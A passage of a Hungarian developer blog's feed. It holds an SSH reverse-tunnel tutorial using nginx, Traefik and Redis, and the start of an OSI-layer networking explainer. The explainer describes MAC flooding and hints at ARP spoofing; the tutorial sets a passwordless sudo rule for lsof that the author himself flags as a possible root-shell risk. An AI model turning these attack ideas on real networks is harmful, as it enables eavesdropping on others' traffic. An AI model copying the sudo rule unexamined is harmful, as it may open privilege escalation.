<p>Az általános megoldás az lett, hogy a beépített HTTP szerver köré írtak keretrendszereket, a keretrendszerek segítségével pedig alkalmazásokat, így minden egyes alkalmazás a saját maga webszervere is lett egyben.</p>
<p>Persze ez idő alatt a világ is sokat változott. A nagy alkalmazások szét lettek szedve sok kis alkalmazásra, amiknél egyre ritkább lett, hogy teljes vagy részleges HTML oldalakat adjanak vissza (olyannyira, hogy az újabb generációnak már újdonság a template-ek szerver oldalon renderelése), így az igények is változtak.</p>
<p>Az alkalmazások előtt van általában már néhány proxy (HAProxy, Nginx, Traefik és társaik), amik alapvetően HTTP kérésekkel szeretnek dolgozni, így csak egy extra (valószínűleg felesleges) mozgó alkatrész lenne a gépezetben még egy HTTP szerver az alkalmazás előtt, aminek csak az a feladata, hogy HTTP-ről mondjuk FCGI-re fordítson.</p>
<p>Jó eséllyel az optimalizálás sem számít már annyira, mint régen. Nem feltétlen kell, hogy C-ben legyen írva a HTTP szerver, egy Python-os implementáció is képes lehet a szükséges teljesítményre.</p>
<h3>Összegzés</h3>
<p>Messzire jutottunk, talán sokat is felejtettünk az út során, de a fent említett dolgok még ma is élnek és virulnak (vagy legalábbis működőképesek), mint ahogy azt a kapcsolódó <a href="https://github.com/deadlime/cgi-playground">CGI játszótér</a> is mutatja, aminek segítségével ki lehet próbálni őket. Talán vannak olyan esetek, ahol még használni is érdemes őket. Kár lenne Kubernetes klasztert pazarolni egy problémára, amit egy CGI script is képes gond nélkül megoldani.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Fény az alagút végén</title>
            <link>https://deadlime.hu/2023/10/29/feny-az-alagut-vegen/</link>
            <pubDate>Sun, 29 Oct 2023 10:13:38 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Traefik]]></category>
                    <category><![CDATA[SSH]]></category>
                    
            <guid isPermaLink="false">62798de420f57b239758285aaa60b7ac</guid>
            <description>A gépünkön futó alkalmazások megosztása az Interneten SSH segítségével</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/tunnel_and_pipes.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Előfordul néha, hogy szeretnénk hozzáférést biztosítani valakinek a gépünkön futó dolgokhoz. Mondjuk épp egy alkalmazást fejlesztünk és valakivel szeretnénk megosztani az aktuális állapotot anélkül, hogy minden apró változtatást push-olni kelljen, aztán megvárni a build-et, hogy kikerüljön az egész a staging környezetre.</p>
<p>A hálózati adottságoktól függően ez akár egy elég bonyolult művelet is lehet (tűzfalak, port forwarding, NAT traversal). Talán éppen ezért kész szolgáltatások is vannak már ennek a problémának a megoldására (<a href="https://github.com/anderspitman/awesome-tunneling">nem is kevés, ami azt illeti</a>), de nem lenne túl érdekes ez a bejegyzés, ha ilyen irányba indulnánk el.</p>
<p>Inkább azt fogjuk megkísérelni, hogy olyan, háztartásokban gyakran előforduló eszközöket keresünk, amivel meg tudjuk oldani ezt a problémát. Ilyen eszköz például az SSH kliens, ami szinte mindenkinek van otthon a fiók mélyén (főleg amióta már a Windows-nak is a része egy ideje). Ezen kívül szükségünk lesz még egy <del>jól kivajazott tepsire</del> publikusan elérhető szerverre (mondjuk egy olcsó VPS valamelyik szolgáltatónál) és kezdődhet is a buli.</p>
<h3>Egyszerű mód</h3>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/tunnel_1.png" width="660" height="270" alt="" title="" loading="lazy" />
</p>

<p>Van egy alkalmazásunk a helyi gépen, ami <code>127.0.0.1:8080</code>-on várja a bejövő kapcsolatokat. Ezt egy egyszerű Python HTTP szerver fogja most szimulálni:</p>
<pre><code class="hljs shell">local:~$ mkdir fake-app
local:~$ cd fake-app
local:~/fake-app$ echo 'hello world' &gt;index.html
local:~/fake-app$ python -m http.server -b 127.0.0.1 8080
Serving HTTP on 127.0.0.1 port 8080 (http://127.0.0.1:8080/) ...
</code></pre>
<p>Egy másik terminálban ki is próbálhatjuk, hogy működik-e:</p>
<pre><code class="hljs shell">local:~$ curl 127.0.0.1:8080
hello world
</code></pre>
<p>Van még ezen kívül egy VPS-ünk, aminek a <code>tunnel.example.org</code> nevet adtuk. Ezzel a felállással kiadhatjuk a következő parancsot a helyi gépünkön:</p>
<pre><code class="hljs shell">local:~$ ssh -R 8080:127.0.0.1:8080 user@tunnel.example.org
</code></pre>
<p>Ez annyit csinál, hogy a tunnel gépen a <code>8080</code>-as porton a helyi gépünk <code>8080</code>-as portján futó alkalmazást fogjuk elérni (SSH remote port forwarding). Ki is próbálhatjuk a tunnel gépen:</p>
<pre><code class="hljs shell">tunnel:~$ curl 127.0.0.1:8080
hello world
</code></pre>
<p>Az SSH (valószínűleg biztonsági okokból) <code>127.0.0.1</code>-re fogja a <code>8080</code>-on hallgatózó szerverét bind-olni, úgyhogy kívülről nem fogjuk tudni elérni az alkalmazást, akkor sem ha a tűzfal szabályaink egyébként megengednék.</p>
<pre><code class="hljs shell">local:~$ curl tunnel.example.org:8080
curl: (7) Failed to connect to tunnel.example.org port 8080 after 30 ms: Couldn't connect to server
</code></pre>
<p>Ezt kiküszöbölhetjük azzal, hogy a <code>/etc/ssh/sshd_config</code> fájlban a <code>GatewayPorts</code> értékét megváltoztatjuk <code>clientspecified</code>-ra és kicsit módosítunk az ssh parancsunkon:</p>
<pre><code class="hljs shell">local:~$ ssh -R 0.0.0.0:8080:127.0.0.1:8080 user@tunnel.example.org
</code></pre>
<p>Így már működik a dolog, ha a tűzfal beállításaink is rendben vannak:</p>
<pre><code class="hljs shell">local:~$ curl tunnel.example.org:8080
hello world
</code></pre>
<p>Saját használatra megfelelő megoldás lehet, de egy hajszállal elegánsabb, ha maradunk az első változatnál és elindítunk mellé egy nginx-et a tunnel gépen, ami továbbítja a kéréseket a <code>127.0.0.1:8080</code>-ra:</p>
<pre class="file"><code>/etc/nginx/sites-available/tunnel
</code></pre>
<pre><code>server {
    listen 80;
    server_name tunnel.example.org;

    location / {
        proxy_pass http://127.0.0.1:8080/;
    }
}
</code></pre>
<p>Az oldal engedélyezése és az nginx konfiguráció újratöltése:</p>
<pre><code class="hljs shell">tunnel:~# ln -s /etc/nginx/sites-available/tunnel /etc/nginx/sites-enabled/
tunnel:~# systemctl reload nginx
</code></pre>
<p>És kész is vagyunk:</p>
<pre><code class="hljs shell">local:~$ curl tunnel.example.org
hello world
</code></pre>
<p>Talán túlzásnak tűnhet az nginx, de ha már itt van, akkor egyéb dolgokra is felhasználhatjuk:</p>
<ul>
<li>egyedi hiba oldal, ha a helyi alkalmazás épp nem fut, vagy nem vagyunk ssh-val felcsatlakozva</li>
<li>logolás</li>
<li>HTTPS az nginx és a külső kliensek között</li>
<li>mTLS a helyi alkalmazás és az nginx között (valószínűleg ehhez a helyi gépen is kelleni fog egy nginx)</li>
<li>basic autentikáció a külső klienseknek</li>
</ul>
<p>El is készült az egyszerű megoldásunk, egy nem túl bonyolult SSH parancs segítségével megoszthatjuk másokkal a helyi alkalmazásunkat. Egyetlen hátránya, hogy ezt csak egy ember tudja használni egy alkalmazás megosztására egy fix címen. Valószínűleg az esetleg 99%-ában ez is elég, de azért nézzünk meg egy kicsit bonyolultabb rendszert is a móka kedvéért.</p>
<h3>Haladó mód</h3>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/tunnel_2.png" width="660" height="270" alt="" title="" loading="lazy" />
</p>

<p>Az SSH remote port forwarding tud olyat, hogy ha portnak nullát adunk meg, akkor egy random porton fog figyelni a tunnel gépen:</p>
<pre><code class="hljs shell">local:~$ ssh -R 0:127.0.0.1:8080 user@tunnel.example.org
Allocated port 41025 for remote forward to 127.0.0.1:8080

[...]
</code></pre>
<p>Szóval csinálhatnánk valami olyasmit, hogy felcsatlakozásnál generálunk egy random host-ot (<code>&lt;random&gt;.tunnel.example.org</code>) és az erre a random host-ra érkező kéréseket az nginx a megfelelő portra irányítaná tovább. Ezzel megoldódna az egy ember/egy alkalmazás probléma.</p>
<p>Amennyire tudom, az nginx nem annyira jeleskedik a dinamikus konfigurációk terén. Generálhatnánk fájlokat és reload-olhatnánk az nginx-et, de ez a megoldás nem nyerte el a tetszésemet. Aztán eszembe jutott a Traefik, hogy az kellemesen dinamikus, van is egy provider benne, ami <a href="https://doc.traefik.io/traefik/providers/redis/">Redis kulcs-értékek alapján tudja beállítani a dolgokat</a>, úgyhogy elindultam ebbe az irányba.</p>
<p>A Traefik telepítése nem túl barátságos, ha nem akar az ember Docker-t használni. A Docker (Swarm) viszont nem túl barátságos a host gépen <code>127.0.0.1</code>-en figyelő szolgáltatások elérésében, úgyhogy ezzel még mindig jobban járunk.</p>
<p>Szóval nincs más hátra, mint letölteni a binárist, amit aztán valahogy megfuttatunk.</p>
<pre><code class="hljs shell">tunnel:~# mkdir -p /opt/traefik
tunnel:~# cd /opt/traefik
tunnel:/opt/traefik# wget https://github.com/traefik/traefik/releases/download/v2.10.5/traefik_v2.10.5_linux_amd64.tar.gz
tunnel:/opt/traefik# tar -xf traefik_v2.10.5_linux_amd64.tar.gz
tunnel:/opt/traefik# rm traefik_v2.10.5_linux_amd64.tar.gz
</code></pre>
<p>Első gondolatom az volt, hogy csak úgy jó igénytelen módon tolok neki egy <code>./traefik --providers.redis.endpoints=127.0.0.1:6379 --entrypoints.web.address=:80 &amp;</code> parancsot, had fusson a háttérben, az is bőven elég ahhoz, hogy kipróbáljam a dolgokat, de végül csak összeraktam hozzá egy systemd service fájlt.</p>
<pre class="file"><code>/etc/systemd/system/traefik.service
</code></pre>
<pre><code>[Unit]
Description=traefik
After=network-online.target
Wants=network-online.target systemd-networkd-wait-online.service

[Service]
Restart=on-abnormal
User=traefik
Group=traefik
ExecStart=/opt/traefik/traefik --providers.redis.endpoints=127.0.0.1:6379 --entrypoints.web.address=:80
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
AmbientCapabilities=CAP_NET_BIND_SERVICE
NoNewPrivileges=true
</code></pre>
<p>Hogy működjön, szükségünk lesz egy <code>traefik</code> felhasználóra és csoportra, valamint egy Redis szerverre is.</p>
<pre><code class="hljs shell">tunnel:~# adduser --disabled-login --disabled-password --no-create-home traefik
tunnel:~# apt-get install redis-server
</code></pre>
<p>Aztán már csak a systemd dolgait kell újratölteni.</p>
<pre><code class="hljs shell">tunnel:~# systemctl daemon-reload
tunnel:~# systemctl start traefik.service
</code></pre>
<p>Első körben az eredeti működést szerettem volna reprodukálni, mielőtt még belekezdenék a dinamikus dolgok kitalálásába, úgyhogy a következő kulcs-érték párokat pakoltam be a Redis-be:</p>
<pre><code>tunnel:~# redis-cli
127.0.0.1:6379&gt; SET traefik/http/services/tunnel-service/loadbalancer/servers/0/url http://127.0.0.1:8080/
127.0.0.1:6379&gt; SET traefik/http/routers/tunnel-router/rule Host(`tunnel.example.org`)
127.0.0.1:6379&gt; SET traefik/http/routers/tunnel-router/entrypoints/0 web
127.0.0.1:6379&gt; SET traefik/http/routers/tunnel-router/service tunnel-service
</code></pre>
<p>Van egy service-ünk, ami a <code>127.0.0.1:8080</code>-on figyel és egy router szabály, ami a <code>tunnel.example.org</code>-ra, <code>80</code>-as porton (<code>web</code> entrypoint, amit a Traefik indításánál definiáltunk) érkező kéréseket a service-ünk felé irányítja. Szerencsére ez ugyanolyan jól működött, mint az eredeti nginx-es megoldás, úgyhogy jöhet a dinamizálás.</p>
<p>Az ötletem azon alapult, hogy az <code>authorized_keys</code> fájlban meg lehet adni egy saját parancsot, ami SSH csatlakozáskor lefut (így működik például a Git pull/push is SSH-n keresztül). Itt megadhatnánk egy kis shell scriptet, ami felvenné a megfelelő kulcs-érték párokat Redis-be, aztán pedig csak várna, amíg a felhasználó le nem zárja a kapcsolatot. Bezárásnál pedig feltakarítaná a létrehozott Redis kulcsokat.</p>
<p>Ehhez érdemes lehet egy külön felhasználót felvenni, hogy továbbra is tudjuk használni hagyományos módon is az SSH-t az eredeti felhasználónkkal:</p>
<pre><code class="hljs shell">tunnel:~# adduser --disabled-password mole
</code></pre>
<p>Az <code>authorized_keys</code> fájlba pedig felveszünk egy ilyen sort az SSH kulcsunkkal:</p>
<pre class="file"><code>/home/mole/.ssh/authorized_keys
</code></pre>
<pre><code>command=&quot;/home/mole/tunnel.sh&quot;,no-X11-forwarding,no-agent-forwarding &lt;SSH kulcs&gt;
</code></pre>
<p>A parancsnak valami ilyesmi felépítése lenne:</p>
<pre class="file"><code>/home/mole/tunnel.sh
</code></pre>
<pre><code class="hljs bash"><span class="hljs-comment">#!/bin/bash -e</span>

<span class="hljs-function"><span class="hljs-title">setup</span></span>() {
    <span class="hljs-comment"># setup</span>
}

<span class="hljs-function"><span class="hljs-title">cleanup</span></span>() {
    <span class="hljs-comment"># cleanup</span>
    <span class="hljs-built_in">exit</span> 0
}

<span class="hljs-built_in">trap</span> <span class="hljs-string">'cleanup'</span> INT

setup
tail -f /dev/null
</code></pre>
<p>Egy fontos mozzanat itt a <code>trap 'cleanup' INT</code>, amivel elkapjuk a <kbd>Ctrl</kbd>+<kbd>C</kbd>-vel való bezárást, hogy lefuttathassuk a takarítást. A <code>tail -f /dev/null</code> pedig tulajdonképpen nem csinál semmit, csak vár az idők végezetéig.</p>
<p>Természetesen futtathatóvá is kell tennünk ezt a fájlt:</p>
<pre><code>tunnel:~# chmod +x /home/mole/tunnel.sh
</code></pre>
<p>Már csak meg kellene találnunk azokat a portokat, amiket az aktuális SSH kapcsolat nyitott. Ehhez szükségünk lesz az sshd process ID-jára, ami pont a futó scriptünk szülője, úgyhogy a következő paranccsal meg is kapjuk:</p>
<pre><code class="hljs shell">tunnel:~$ grep PPid /proc/$$/status | awk '{ print $2 }'
123263
</code></pre>
<p>Bash-ben a <code>$$</code> az aktuális process ID-ja, a <code>/proc</code> könyvtárban pedig sok érdekes dolgot találhatunk, ha már tudjuk a process ID-t.</p>
<p>Megvan a szülő process ID, már csak a socketekről kellene információt találni. Az <code>lsof</code> remek eszköz erre, az egyetlen baj vele, hogy csak root-ként adja vissza azt az információt, amire nekünk szükségünk van.</p>
<p>A próba kedvéért felvettem a sudoers beállításai közé a <code>mole</code> felhasználót, hogy tudjon <code>root</code>-ként <code>lsof</code>-ot futtatni, de nem tudom, hogy ezt biztonsági szempontból teljesen rendben van-e (például van-e az <code>lsof</code>-nak valamilyen kevésbé ismert kapcsolója, amivel ki lehetne belőle csalni egy root shell-t).</p>
<pre class="file"><code>/etc/sudoers.d/10-mole-lsof
</code></pre>
<pre><code>mole ALL=(root) NOPASSWD: /usr/bin/lsof
</code></pre>
<p>Így már meg tudjuk szerezni a szükséges információt:</p>
<pre><code class="hljs shell">tunnel:~$ sudo lsof -a -nPi4 -sTCP:LISTEN -p 123263
COMMAND    PID USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
sshd    123263 mole    9u  IPv4 1569356      0t0  TCP 127.0.0.1:45991 (LISTEN)
sshd    123263 mole   11u  IPv4 1569360      0t0  TCP 127.0.0.1:39421 (LISTEN)
</code></pre>
<p>Jó sok kapcsolója van, a <code>-a</code> azt jelzi, hogy a szűrők között AND kapcsolatot szeretnénk, a <code>-n</code> mondja meg, hogy ne csináljon ip címekből hostneveket, a <code>-P</code> azt, hogy ne csináljon port számokból port neveket, a <code>-i</code> szűr az IPv4 kapcsolatokra, a <code>-s</code> a TCP-n figyelő szerverekre szűr, a <code>-p</code>-vel pedig a process id-t adjuk meg. Egy kis <code>awk</code> mágiával gyorsan megvannak ebből már az <code>ip:port</code> párok:</p>
<pre><code class="hljs shell">tunnel:~$ sudo lsof -nPi4 -sTCP:LISTEN -p 123263 -a | awk '/127.0.0.1:/ { print $9 }'
127.0.0.1:45991
127.0.0.1:39421
</code></pre>
<p>Ezzel megvan minden szükséges részlet ahhoz, hogy össze tudjuk rakni a scriptünket:</p>
<pre class="file"><code>/home/mole/tunnel.sh
</code></pre>
<pre><code class="hljs bash"><span class="hljs-comment">#!/bin/bash -e</span>
PID=$(grep PPid /proc/$$/status | awk <span class="hljs-string">'{ print $2 }'</span>)

<span class="hljs-built_in">declare</span> -A mapping
<span class="hljs-keyword">for</span> app <span class="hljs-keyword">in</span> $(sudo lsof -a -nPi4 -sTCP:LISTEN -p <span class="hljs-variable">$PID</span> | awk <span class="hljs-string">'/127.0.0.1:/ { print $9 }'</span>); <span class="hljs-keyword">do</span>
  mapping[$(pwgen -A0sBv 10 1)]=<span class="hljs-string">"<span class="hljs-variable">$app</span>"</span>
<span class="hljs-keyword">done</span>

<span class="hljs-function"><span class="hljs-title">setup</span></span>() {
    <span class="hljs-keyword">for</span> key <span class="hljs-keyword">in</span> <span class="hljs-string">"<span class="hljs-variable">${!mapping[@]}</span>"</span>; <span class="hljs-keyword">do</span>
        redis-cli &lt;&lt;EOF &gt;/dev/null
MULTI
SET traefik/http/services/<span class="hljs-variable">${key}</span>-service/loadbalancer/servers/0/url http://<span class="hljs-variable">${mapping[$key]}</span>/
SET traefik/http/routers/<span class="hljs-variable">${key}</span>-router/rule Host(\`<span class="hljs-variable">${key}</span>.tunnel.example.org\`)
SET traefik/http/routers/<span class="hljs-variable">${key}</span>-router/entrypoints/0 web
SET traefik/http/routers/<span class="hljs-variable">${key}</span>-router/service <span class="hljs-variable">${key}</span>-service
EXEC
EOF
        <span class="hljs-built_in">echo</span> <span class="hljs-string">"http://<span class="hljs-variable">${key}</span>.tunnel.example.org/ -&gt; <span class="hljs-variable">${mapping[$key]}</span>"</span>
    <span class="hljs-keyword">done</span>
}

<span class="hljs-function"><span class="hljs-title">cleanup</span></span>() {
    <span class="hljs-keyword">for</span> key <span class="hljs-keyword">in</span> <span class="hljs-string">"<span class="hljs-variable">${!mapping[@]}</span>"</span>; <span class="hljs-keyword">do</span>
        redis-cli &lt;&lt;EOF &gt;/dev/null
MULTI
DEL traefik/http/routers/<span class="hljs-variable">${key}</span>-router/rule
DEL traefik/http/routers/<span class="hljs-variable">${key}</span>-router/entrypoints/0
DEL traefik/http/routers/<span class="hljs-variable">${key}</span>-router/service
DEL traefik/http/services/<span class="hljs-variable">${key}</span>-service/loadbalancer/servers/0/url
EXEC
EOF
    <span class="hljs-keyword">done</span>
    <span class="hljs-built_in">exit</span> 0
}

<span class="hljs-built_in">trap</span> <span class="hljs-string">'cleanup'</span> INT

setup
tail -f /dev/null
</code></pre>
<p>Nincs más hátra, mint kipróbálni:</p>
<pre><code class="hljs shell">local:~$ ssh -R 0:127.0.0.1:8080 -R 0:127.0.0.1:8081 mole@tunnel.example.org
Allocated port 34021 for remote forward to 127.0.0.1:8080
Allocated port 39097 for remote forward to 127.0.0.1:8081
http://dkchdfskxz.tunnel.example.org/ -&gt; 127.0.0.1:34021
http://kzhrwsmgqk.tunnel.example.org/ -&gt; 127.0.0.1:39097
</code></pre>
<p>És egy másik terminálban a HTTP kérést is:</p>
<pre><code class="hljs shell">local:~$ curl http://dkchdfskxz.tunnel.example.org/
hello world
</code></pre>
<p>Mint az látszik, mi a tunnel oldalán már csak azt tudjuk megmondani, hogy mi az a random port, amit az sshd kiosztott nekünk, azt nem tudjuk, hogy a local gépen ez milyen portnak felel meg. Szerencsére az SSH kliens kiírja, úgyhogy össze lehet rakni a teljes láncolatot, de több remote forward esetén egy kicsit kényelmetlen lehet.</p>
<p>Természetesen itt is rengeteg lehetőség van még a továbbfejlesztésre, mint például:</p>
<ul>
<li>meggyőződni róla, hogy a <code>pwgen</code> által generált random még nem létezik a Redis-ben</li>
<li>periodikus takarító script, ami a véletlenül beragadt Redis kulcsokat törli</li>
<li>HTTPS, mTLS, autentikáció</li>
</ul>
<h3>Összegzés</h3>
<p>Mint általában, valószínűleg ebben az esetben sem érdemes saját megoldást építeni a nulláról egy napi szinten, több ember által használt rendszer esetén, ha ennyi kész megoldás áll a rendelkezésünkre. Az viszont sosem árt, ha tudjuk hogyan működhet egy ilyen rendszer a motorháztető alatt.</p>
<p>Érdemes lehet az egyszerű mód létezését észben tartani, akár még hasznosnak bizonyulhat valamikor a jövőben. Az SSH egy fantasztikus dolog.</p>

]]></content:encoded>
        </item>
            <item>
            <title>A hálózat csapdájában</title>
            <link>https://deadlime.hu/2023/09/30/a-halozat-csapdajaban/</link>
            <pubDate>Sat, 30 Sep 2023 19:58:42 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[hálózat]]></category>
                    <category><![CDATA[biztonság]]></category>
                    
            <guid isPermaLink="false">af901c3b03c12279f5eb1b987f95ae47</guid>
            <description>Utazás a csomagok fantasztikus világába</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/man_in_the_middle.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Azért van olyan sok ujja, hogy hatékonyabban tudjon hackelni.</p>

<p>Gondolkoztál már valaha azon, hogy mi történik a színfalak mögött, amikor elküldesz egy HTTP kérést? Honnan tudják a bitek, hogy merre kell menni, amikor megpingelsz valakit a helyi hálózaton? Ilyen és ehhez hasonló kérdések megválaszolását fogjuk most megkísérelni.</p>
<p>Nem volt egyértelmű, hogy melyik irányból lenne érdemes nekiesni a problémának. Fogjak egy HTTP kérést és ássak le a legaljára vagy induljunk a legaljáról, amíg el nem érünk egy HTTP kérésig? Végül az utóbbi mellett döntöttem. Az eleje így egy kicsit távoli lehet, de a végére szerintem könnyebben összeáll a kép. Az OSI modellben meghatározott rétegek mentén fogunk haladni, kezdjük is a hardverrel.</p>
<h3>Fizikai réteg</h3>
<p>Jó eséllyel mindenkinek van otthon egy Ethernet hálózata, például valami ehhez hasonló:</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/lan.png" width="480" height="420" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Előfordulhat az is, hogy a modem, a router és a switch ugyanabban a dobozban lakik.</p>

<p>Ez az úgynevezett fizikai réteg: egy rakás hálózati eszköz, réz madzagokkal összekötözgetve (vagy varázslattal hajtott vezeték nélküli eszközök). Minden hálózati eszköznek van egy egyedi MAC címe, amit még a gyárban megkap. Van sok érdekesség még itt, aminek utána lehet járni (például, hogy hogyan beszélik le egymás között az eszközök, hogy milyen sebességeket támogatnak), de én személy szerint sokkal több mindent nem tudnék elmondani róla, úgyhogy lépjünk is tovább a következő szintre, az adatkapcsolati rétegre.</p>
<h3>Adatkapcsolati réteg</h3>
<p>Ezen a szinten végre előkerülnek az általunk jól ismert nullák és egyesek. Van az úgynevezett Ethernet keret, ami egy egységnyi adat, amit egyszerre el tudunk küldeni. Valahogy így néz ki:</p>
<table>
<tbody>
  <tr>
    <td nowrap>6 byte</td>
    <td>a címzett MAC címe</td>
  </tr>
  <tr>
    <td nowrap>6 byte</td>
    <td>a feladó MAC címe</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>az adat típusa (<code>0x0800</code> IP esetén, <code>0x0806</code> ARP esetén)</td>
  </tr>
  <tr>
    <td nowrap>46-1500 byte</td>
    <td>az adat</td>
  </tr>
  <tr>
    <td nowrap>4 byte</td>
    <td>ellenőrző összeg</td>
  </tr>
</tbody>
</table>
<p>Érdekes, hogy a feladó önbevallásos alapon megy. Mi történik, ha valaki más MAC címét adjuk ott meg? Lehet ezzel esetleg valami huncutságot csinálni?</p>
<p>Két érdekes dolog is van itt, amit érdemes megemlíteni. Az egyik a MAC spoofing, amikor nem vagyunk elégedettek a hardver gyártó által kiosztott MAC címmel és ezt meg szeretnénk változtatni. Mondjuk azért, mert az internet szolgáltatónk eszköze csak egy regisztrált MAC címmel működik. Vagy ott vannak az Android telefonok, amik alapból véletlenszerű MAC címmel csatlakoznak egy Wi-Fi hálózathoz, hogy ne lehessen nyomon követni a telefont a hálózatok között.</p>
<p>A másik érdekes dolog a MAC flooding, ilyenkor a támadó egy rakás véletlenszerű MAC címet állít be feladóként, ami feltölti a Switch teljes MAC cím tábláját, kiszorítva a valós MAC címeket. Ennek általában az a következménye, hogy egy beérkező valós csomag címzett MAC címét nem fogja megtalálni a MAC cím táblában, ami miatt mindenkinek kiküldi a csomagot. Így a támadó olyan csomagok tartalmába kukkanthat bele, amit nem neki szántak.</p>
<p>A szemfüles olvasó azt is rögtön kiszúrhatta, hogy sehol sem esik szó az úgynevezett IP címekről, amit mi általában használni szoktunk. Ehhez tovább kell lépnünk a következő szintre, ami a hálózati réteg.</p>
<h3>Hálózati réteg</h3>
<p>Itt több érdekes protokollról is szót kell ejtenünk, amik mind az Ethernet keret adat részébe fognak kerülni. Először is tudnunk kell, hogy egy adott IP címhez milyen MAC cím tartozik.</p>
<h4>Address Resolution Protocol</h4>
<p>Az ARP ebben segít nekünk, küldhetünk egy kérést, amire az IP cím tulajdonosa válaszolhat. Az üzenet felépítése:</p>
<table>
<tbody>
  <tr>
    <td nowrap>2 byte</td>
    <td>a hardver típusa (<code>0x0001</code> az Ethernet esetén)</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>a protokoll típusa (<code>0x0800</code> IP esetén)</td>
  </tr>
  <tr>
    <td nowrap>1 byte</td>
    <td>a hardver cím mérete (<code>0x06</code> Ethernet esetén, mert 6 byte-os egy MAC cím)</td>
  </tr>
  <tr>
    <td nowrap>1 byte</td>
    <td>a protokoll cím mérete (<code>0x04</code> IP esetén, mert 4 byte-os egy IP cím)</td>
  </tr>
  <tr>
    <td nowrap>2 byte</td>
    <td>az üzenet típusa (<code>0x0001</code> a kérés, <code>0x0002</code> a válasz)</td>
  </tr>
  <tr>
    <td nowrap>6 byte</td>
    <td>feladó hardver címe</td>
  </tr>
  <tr>
    <td nowrap>4 byte</td>
    <td>feladó protokoll címe</td>
  </tr>
  <tr>
    <td nowrap>6 byte</td>
    <td>címzett hardver címe</td>
  </tr>
  <tr>
    <td nowrap>4 byte</td>
    <td>címzett protokoll címe</td>
  </tr>
</tobdy>
</table>
<p>A fenti ábrát egészítsük ki IP címekkel és nézzünk meg egy konkrét példát a kérésre és a válaszra.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/lan2.png" width="480" height="420" alt="" title="" loading="lazy" />
</p>

<p>Mondjuk Alice szeretné Bob-ot ping-elni, úgyhogy megkérdezi, hogy a <code>192.168.1.103</code>-as IP cím melyik MAC címhez tartozik. A kérés (a zöld rész az Ethernet kerethez tartozik, a kék rész az ARP kéréshez):</p>
<table>
<tbody>
  <tr class="green">
    <td><code>0xFFFFFFFFFFFF</code></td>
    <td>címzett (mindenki)</td>
  </tr>
  <tr class="green">
    <td><code>0x0A0000000002</code></td>
    <td>feladó (Alice)</td>
  </tr>
  <tr class="green">
    <td><code>0x0806</code></td>
    <td>ARP típusú adat</td>
  </tr>
  <tr class="blue">
    <td><code>0x0001</code></td>
    <td>Ethernet hardver</td>
  </tr>
  <tr class="blue">
    <td><code>0x0800</code></td>
    <td>IP protokoll</td>
  </tr>
  <tr class="blue">
    <td><code>0x06</code></td>
    <td>6 byte-os MAC cím</td>
  </tr>
  <tr class="blue">
    <td><code>0x04</code></td>
    <td>4 byte-os IP cím</td>
  </tr>
  <tr class="blue">
    <td><code>0x0001</code></td>
    <td>kérés típusú csomag</td>
  </tr>
  <tr class="blue">
    <td><code>0x0A0000000002</code></td>
    <td>a feladó (Alice) MAC címe</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80166</code></td>
    <td>a feladó (Alice) IP címe</td>
  </tr>
  <tr class="blue">
    <td><code>0x000000000000</code></td>
    <td>a címzett (Bob) MAC címe</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80167</code></td>
    <td>a címzett (Bob) IP címe</td>
  </tr>
  <tr class="green">
    <td><code>0x????????</code></td>
    <td>ellenőrző összeg</td>
  </tr>
</tbody>
</table>
<p>Az IP címek hexadecimális formátumban vannak, <a href="https://gchq.github.io/CyberChef/#recipe=Change_IP_format(&#x27;Dotted%20Decimal&#x27;,&#x27;Hex&#x27;)&amp;input=MTkyLjE2OC4xLjEwMw">a CyberChef remekül használható a konvertálásra</a>. Kérés típusú üzenetben a címzett MAC címe bármi lehet, figyelmen kívül lesz hagyva az értéke.</p>
<p>Bob megkapja ezt a kérést és mivel az ő IP címe a <code>192.168.1.103</code>, küld is rá egy választ:</p>
<table>
<tbody>
  <tr class="green">
    <td><code>0x0A0000000002</code></td>
    <td>címzett (Alice)</td>
  </tr>
  <tr class="green">
    <td><code>0x0A0000000003</code></td>
    <td>feladó (Bob)</td>
  </tr>
  <tr class="green">
    <td><code>0x0806</code></td>
    <td>ARP típusú adat</td>
  </tr>
  <tr class="blue">
    <td><code>0x0001</code></td>
    <td>Ethernet hardver</td>
  </tr>
  <tr class="blue">
    <td><code>0x0800</code></td>
    <td>IP protokoll</td>
  </tr>
  <tr class="blue">
    <td><code>0x06</code></td>
    <td>6 byte-os MAC cím</td>
  </tr>
  <tr class="blue">
    <td><code>0x04</code></td>
    <td>4 byte-os IP cím</td>
  </tr>
  <tr class="blue">
    <td><code>0x0002</code></td>
    <td>válasz típusú csomag</td>
  </tr>
  <tr class="blue">
    <td><code>0x0A0000000003</code></td>
    <td>a feladó (Bob) MAC címe</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80167</code></td>
    <td>a feladó (Bob) IP címe</td>
  </tr>
  <tr class="blue">
    <td><code>0x0A0000000002</code></td>
    <td>a címzett (Alice) MAC címe</td>
  </tr>
  <tr class="blue">
    <td><code>0xC0A80166</code></td>
    <td>a címzett (Alice) IP címe</td>
  </tr>
  <tr class="green">
    <td><code>0x????????</code></td>
    <td>ellenőrző összeg</td>
  </tr>
</tbody>
</table>
<p>Itt is felmerül a kérdés, hogy vajon mi történik, ha nem csak Bob válaszol az üzenetre, hanem a gonosz Mallory is? Előfordulhat, hogy Alice rossz helyre fogja küldeni Bob-nak szánt üzeneteit?</p>
